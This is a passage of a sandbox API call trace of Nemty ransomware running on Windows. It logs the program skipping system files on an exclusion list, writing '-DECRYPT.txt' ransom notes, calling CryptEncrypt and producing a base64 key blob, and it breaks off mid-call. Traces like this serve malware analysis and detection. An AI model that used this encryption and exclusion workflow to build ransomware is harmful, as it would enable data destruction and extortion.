lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0149.820] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0149.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0149.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0149.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0149.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0149.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0149.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0149.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0149.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0149.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0149.821] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0149.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0149.822] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.822] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0149.823] CloseHandle (hObject=0x254) returned 1 [0149.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0149.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0149.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0149.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0149.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0149.823] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0149.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0149.824] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.824] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0149.825] CloseHandle (hObject=0x254) returned 1 [0149.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0149.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0149.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0149.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcf25a30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcf25a30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0149.825] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0149.825] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcf25a30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcf25a30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.825] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0149.825] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0149.825] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0149.825] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".") returned 1 [0149.825] lstrcmpiW (lpString1="localizedSettings.css", lpString2="..") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="...") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="windows") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="$RECYCLE.BIN") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="rsa") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="NTDETECT.COM") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="ntldr") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="MSDOS.SYS") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="IO.SYS") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="boot.ini") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="boot.ini") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="AUTOEXEC.BAT") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="ntuser.dat") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="desktop.ini") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="CONFIG.SYS") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="RECYCLER") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="BOOTSECT.BAK") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="bootmgr") returned 1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="programdata") returned -1 [0149.826] lstrcmpiW (lpString1="localizedSettings.css", lpString2="appdata") returned 1 [0149.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0149.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedSettings.css", lpUsedDefaultChar=0x0) returned 21 [0149.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0149.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedSettings.css", lpUsedDefaultChar=0x0) returned 21 [0149.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0149.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0149.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0149.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedSettings.css", lpUsedDefaultChar=0x0) returned 21 [0149.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0149.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0149.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localizedSettings.css", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localizedSettings.css", lpUsedDefaultChar=0x0) returned 21 [0149.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0149.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0149.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0149.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0149.827] Sleep (dwMilliseconds=0x5) [0149.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xcf4bb90, dwHighDateTime=0x1d561e8)) [0149.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xcf4bb90, dwHighDateTime=0x1d561e8)) [0149.836] GetLastError () returned 0xb7 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.836] GetLastError () returned 0xb7 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0149.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0149.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0149.836] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0149.836] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="AQy0m5iDfs8MQIEMghsrd/J0DiC6d72rYJGSnbFPIIuH7gH6omifxh+2kuKzL2rD\r\nvxj/2GUlwRboiiJYSzY72yTdxvA/euhyCtg5eK7fkbg4FmjFuKmJtqIrQBGe9ndd\r\nnNgpd+MQQJ/IkFzUkQho0xMyxWUvSxAmMxJNK6TCBCo+8W1LOFd/F1UHSo9lCfIx\r\n25nYZ8D2nxQI5pN7CbUEYiqn6+mOtdYQuw6l8WpoT5gX6GehnTPo0+msldx47vDB\r\nof8q96z1g16VFB7NN8hOtGCSmyi6WIxfMWnZ2X6lDAEE8BUIEXT2t3Cp2izoxPR/\r\n5IvL/fbdzOP/shKeHRM/mA==\r\n", pcchString=0x653e5dc) returned 1 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0149.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0149.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.836] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\localizedSettings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\localizedsettings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.837] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0149.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.903] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.912] SetFilePointer (in: hFile=0xffffffff, 